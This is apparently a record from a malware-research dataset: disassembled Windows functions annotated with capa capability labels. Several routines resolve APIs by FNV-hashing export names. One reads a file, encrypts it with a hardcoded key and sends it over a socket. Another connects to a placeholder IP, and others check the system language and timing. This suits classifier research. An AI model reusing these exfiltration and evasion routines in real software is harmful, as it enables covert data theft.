joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002600
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800026a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800026a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3b1be8f7
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800026a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002680
cmp r8d, 0x6388519b
je 0x1800026ac
test r9d, r9d
jne 0x180002660
mov rax, qword [rax]
jmp 0x180002630
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x30]
add rax, r10
call rax
movd xmm0, dword [rsp + 0x30]
mov rax, rsi
movd xmm2, dword [rsp + 0x34]
mov rbx, qword [rsp + 0x38]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm2, xmm2
cvtps2pd xmm1, xmm0
cvtps2pd xmm0, xmm2
movsd qword [rsi], xmm1
movsd qword [rsi + 8], xmm0
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180002ac0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x110
movaps xmmword [rax - 0x18], xmm6
mov r14, r8
movaps xmmword [rax - 0x28], xmm7
mov rsi, rdx
movaps xmmword [rax - 0x38], xmm8
mov rbp, rcx
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd r9, dword [r10 + 0x3c]
mov edi, dword [r9 + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002b97
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002b97
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xad9a5b01
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002b92
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002b70
cmp r8d, 0x7b83c033
je 0x180002b9c
test r9d, r9d
jne 0x180002b50
mov rax, qword [rax]
jmp 0x180002b20
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rbp
add rax, r10
call rax
movsd xmm7, qword [rsi]
mov rcx, rbp
movsd xmm8, qword [rsi + 8]
addsd xmm7, qword [0x180013c50]
addsd xmm8, qword [0x180013c50]
movups xmm9, xmmword [0x180013b88]
movups xmm10, xmmword [0x18001a308]
movaps xmm11, xmmword [r14]
movaps xmm6, xmmword [rsi]
call fcn.180002440
cmp word [rax], 0
je 0x180002c16
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp word [rax + rcx*2], 0
jne 0x180002c00
xor edx, edx
add ecx, 1
je 0x180002c1a
mov rdx, rax
jmp 0x180002c1a
xor edx, edx
mov ecx, edx
mov rax, qword [0x1800167d8]
movaps xmm0, xmmword [0x180013eb0]
mov rbx, qword [0x180016858]
mov qword [rsp + 0x20], rax
mov rax, qword [0x18001a7b0]
movsd qword [rsp + 0x38], xmm6
unpckhpd xmm6, xmm6
movsd qword [rsp + 0x40], xmm6
movsd qword [rsp + 0x80], xmm7
movsd qword [rsp + 0x88], xmm8
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x34], ecx
mov dword [rsp + 0x68], 0
mov word [rsp + 0x90], 0x100
mov byte [rsp + 0x92], 1
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm11
movups xmmword [rsp + 0x6c], xmm10
movups xmmword [rsp + 0x94], xmm9
test rax, rax
jne 0x180002cc8
mov rax, qword [0x180016980]
lea r8, str.Canvas.K2_DrawText
add rax, 0x1216928
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call rax
mov qword [0x18001a7b0], rax
mov r9, qword [rbx]
lea r8, [rsp + 0x20]
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x268]
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r14
ret
Function at 0x180002d20
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x110
movaps xmmword [rax - 0x18], xmm6
mov r14, r8
movaps xmmword [rax - 0x28], xmm7
mov rsi, rdx
movaps xmmword [rax - 0x38], xmm8
mov rbp, rcx
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd r9, dword [r10 + 0x3c]
mov edi, dword [r9 + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002df7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002df7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x2cb0e93d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002df2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002dd0
cmp r8d, 0xf3b10af
je 0x180002dfc
test r9d, r9d
jne 0x180002db0
mov rax, qword [rax]
jmp 0x180002d80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rbp
add rax, r10
call rax
movsd xmm7, qword [rsi]
mov rcx, rbp
movsd xmm8, qword [rsi + 8]
addsd xmm7, qword [0x180013c50]
addsd xmm8, qword [0x180013c50]
movups xmm9, xmmword [0x180013b88]
movups xmm10, xmmword [0x18001a308]
movaps xmm11, xmmword [r14]
movaps xmm6, xmmword [rsi]
call fcn.180002440
cmp word [rax], 0
je 0x180002e76
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp word [rax + rcx*2], 0
jne 0x180002e60
xor edx, edx
add ecx, 1
je 0x180002e7a
mov rdx, rax
jmp 0x180002e7a
xor edx, edx
mov ecx, edx
mov rax, qword [0x1800167d8]
movaps xmm0, xmmword [0x180013eb0]
mov rbx, qword [0x180016858]
mov qword [rsp + 0x20], rax
mov rax, qword [0x18001a7b0]
movsd qword [rsp + 0x38], xmm6
unpckhpd xmm6, xmm6
movsd qword [rsp + 0x40], xmm6
movsd qword [rsp + 0x80], xmm7
movsd qword [rsp + 0x88], xmm8
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x34], ecx
mov dword [rsp + 0x68], 0
mov word [rsp + 0x90], 0x101
mov byte [rsp + 0x92], 1
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm11
movups xmmword [rsp + 0x6c], xmm10
movups xmmword [rsp + 0x94], xmm9
test rax, rax
jne 0x180002f28
mov rax, qword [0x180016980]
lea r8, str.Canvas.K2_DrawText
add rax, 0x1216928
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call rax
mov qword [0x18001a7b0], rax
mov r9, qword [rbx]
lea r8, [rsp + 0x20]
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x268]
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r14
ret
Function at 0x140001410
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov r11, rsp
push rbx
push rbp
push rsi
push r14
push r15
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0xe0]
mov r15, r8
mov rsi, qword [rsp + 0xf0]
mov ebp, edx
mov rbx, qword [rsp + 0xf8]
mov r14, rcx
test rcx, rcx
je 0x1400015ff
test edx, edx
je 0x1400015ff
test rsi, rsi
je 0x1400015ff
test rbx, rbx
je 0x1400015ff
movups xmm0, xmmword [rax]
mov qword [r11 - 0x30], rdi
lea rdx, [0x1400095d0]
mov qword [r11 - 0x38], r12
lea rcx, [r11 - 0x60]
xor r12d, r12d
xor r9d, r9d
xor r8d, r8d
mov qword [r11 - 0x60], r12
mov qword [r11 - 0x68], r12
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
mov edi, r12d
sete dil
test eax, eax
jne 0x1400015c9
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x30], r12d
xor r9d, r9d
mov dword [rsp + 0x28], send
xor r8d, r8d
mov qword [rsp + 0x20], r15
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
test eax, eax
mov edi, r12d
sete dil
test eax, eax
jne 0x1400015c9
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x48], 1
xor r9d, r9d
mov qword [rsp + 0x40], rbx
mov r8d, ebp
mov dword [rsp + 0x38], r12d
mov rdx, r14
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], send
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
test eax, eax
mov edi, r12d
sete dil
test eax, eax
jne 0x1400015c9
mov edx, dword [rbx]
lea r9d, [r12 + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov qword [rsi], rax
mov edi, r12d
setne dil
test rax, rax
je 0x1400015c9
mov ecx, dword [rbx]
xor r9d, r9d
mov dword [rsp + 0x48], 1
mov r8d, ebp
mov qword [rsp + 0x40], rbx
mov rdx, r14
mov dword [rsp + 0x38], ecx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], send
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
test eax, eax
mov edi, r12d
sete dil
test eax, eax
je 0x1400015c9
mov rbx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsi], r12
mov rcx, qword [rsp + 0x50]
mov r12, qword [rsp + 0x80]
test rcx, rcx
je 0x1400015e1
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400015f3
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov eax, edi
mov rdi, qword [rsp + 0x88]
jmp 0x140001601
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140007170
add rsp, 0x90
pop r15
pop r14
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001620
Capabilities:
Contain obfuscated stackstrings
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov r11, rsp
push rbp
push rbx
push rsi
push r14
push r15
lea rbp, [r11 - 0x5f]
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor eax, eax
mov qword [r11 + 0x20], r12
xor r12d, r12d
mov dword [rbp + 7], 0x34333231
mov qword [rbp - 9], r12
xorps xmm0, xmm0
mov dword [rbp - 1], r12d
mov r15, rdx
mov dword [rbp + 0xb], 0x2d373635
mov esi, r12d
mov dword [rbp + 0xf], 0x34333231
mov r14d, r12d
mov dword [rbp + 0x13], 0x2d373635
mov ebx, r12d
mov byte [rbp + 0x27], al
mov dword [rbp - 0x19], 0x31313131
mov dword [rbp - 0x15], 0x31313131
mov dword [rbp - 0x11], 0x31313131
mov dword [rbp - 0xd], 0x31313131
movups xmmword [rbp + 0x17], xmm0
test rcx, rcx
je 0x14000175d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov qword [r11 + 0x18], rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
je 0x140001755
cmp rax, 0xffffffffffffffff
je 0x14000174c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [r12 + 4]
mov r14d, eax
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov rsi, rax
setne bl
test rax, rax
je 0x14000174c
lea r9, [rbp + 3]
mov dword [rbp + 3], r12d
mov r8d, r14d
mov qword [rsp + 0x20], r12
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
test eax, eax
jne 0x14000174c
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, r12d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
test ebx, ebx
je 0x1400017ba
lea rdx, [rbp + 0x17]
lea rcx, [rbp + 7]
call fcn.140001000
lea rax, [rbp - 1]
mov edx, r14d
mov qword [rsp + 0x38], rax
lea r8, [rbp + 0x17]
lea rax, [rbp - 9]
mov rcx, rsi
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
call fcn.140001410
mov ebx, eax
test eax, eax
je 0x1400017bc
mov r8d, dword [rbp - 1]
xor r9d, r9d
mov rdx, qword [rbp - 9]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov eax, ebx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140007170
add rsp, 0x90
pop r15
pop r14
pop rsi
pop rbx
pop rbp
ret
Function at 0x140001f80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140001fe1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001fa0
mov ecx, dword [r9]
jmp 0x1400020c8
cmp ecx, 0x4e0
jb 0x1400020c8
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140002000
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140002050
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x1400067d0
Capabilities:
Identify system language via api

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x40c
cmp ax, cx
jne 0x140006817
xor eax, eax
lea rdx, str.C:Users
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x20], xmm0
lea r8d, [rax + 8]
call fcn.140005370
lea r9, [rsp + 0x20]
call fcn.1400019a0
xor eax, eax
add rsp, 0x48
ret
Function at 0x140006820
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
xor esi, esi
mov ebx, edx
mov ecx, 0x202
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0x80]
lea rdi, [rsi - 1]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140006972
xorps xmm0, xmm0
mov qword [rsp + 0x48], rsi
xorps xmm1, xmm1
mov dword [rsp + 0x50], 1
mov edx, ebx
mov dword [rsp + 0x54], 6
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x58], xmm0
movdqu xmmword [rsp + 0x68], xmm1
call fcn.1400069c0
cmp qword [rsp + 0x38], 0xf
lea rdx, [rsp + 0x20]
lea r9, [rsp + 0x40]
cmova rdx, qword [rsp + 0x20]
lea r8, [rsp + 0x48]
lea rcx, str.203.0.113.11
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rdx, qword [rsp + 0x38]
mov ebx, eax
cmp rdx, 0xf
jbe 0x140006909
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006904
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006904
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400071d4
test ebx, ebx
jne 0x14000696c
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x1400069a1
nop dword [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000696c
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000699c
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140006920
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140007170
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
je 0x14000696c
mov rax, rdi
jmp 0x140006977

Function at 0x140006b98
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140006bd2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140006bd7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140006c20
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400093f0]
cmp byte [rcx + rax], 0
je 0x140006c20
dec r8
sub rdx, 1
jne 0x140006c06
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140007c40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007c8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007c8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007c8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007c8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140007c8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007c8c
xor al, al
add rsp, 0x28
ret
Function at 0x14000ba30
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x1c8], 0
mov ebx, edx
mov rdi, rcx
jne 0x14000ba58
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.14001712c
test ebx, ebx
jne 0x14000ba73
mov qword [0x140269560], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x140276874], eax
cmp qword [0x140269560], 0
je 0x14000baa1
mov edx, ebx
mov rcx, rdi
call fcn.14001712c
movsxd rcx, eax
mov qword [0x140269560], rcx
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp ebx, 2
jl 0x14000ba91
mov rax, qword [rdi + 0x1c8]
mov rbx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x140276874]
mov rcx, qword [rdi + 0x1c8]
mov edx, eax
mov rax, qword [rbx + 0xa0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
Function at 0x14000f510
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rbx, r8
mov edi, edx
test r8, r8
je 0x14000f6e0
mov rax, qword [rcx]
call qword [rax]
mov rbp, rax
test edi, edi
je 0x14000f580
cmp edi, 3
je 0x14000f580
sub edi, 1
je 0x14000f56f
cmp edi, 1
jne 0x14000f6e0
movzx edx, bx
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadIconW]
jmp 0x14000f6e2
movzx edx, bx
mov rcx, rbp
call qword [sym.imp.USER32.dll_LoadCursorW]
jmp 0x14000f6e2
movzx edx, bx
mov r8d, 0xa
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
je 0x14000f6e0
xor ebx, ebx
mov esi, ebx
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x14000f6e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x14000f646
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov rdx, r12
lea rcx, [rsp + 0x50]
call fcn.14000df80
test rax, rax
je 0x14000f61f
mov rsi, qword [rsp + 0x50]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000f646
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x70], rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
test rsi, rsi
je 0x14000f6e0
cmp edi, 3
jne 0x14000f6db
lea r8, [rsp + 0x30]
lea edx, [rdi + 0x1d]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetObjectW]
test eax, eax
je 0x14000f6cd
mov edx, dword [rsp + 0x38]
test edx, edx
je 0x14000f6cd
lea ecx, [rdx + 1]
and ecx, 0xfffffffe
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea r8d, [rdi + 0x1e]
call qword [sym.imp.COMCTL32.dll_ImageList_Create]
mov rdi, rax
test rax, rax
je 0x14000f6cd
mov r8d, 0xff00ff
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
test eax, eax
jns 0x14000f6ca
mov rcx, rdi
call qword [sym.imp.COMCTL32.dll_ImageList_Destroy]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rax, rbx
jmp 0x14000f6e2
mov rbx, rdi
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rax, rbx
jmp 0x14000f6e2
mov rax, rsi
jmp 0x14000f6e2
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret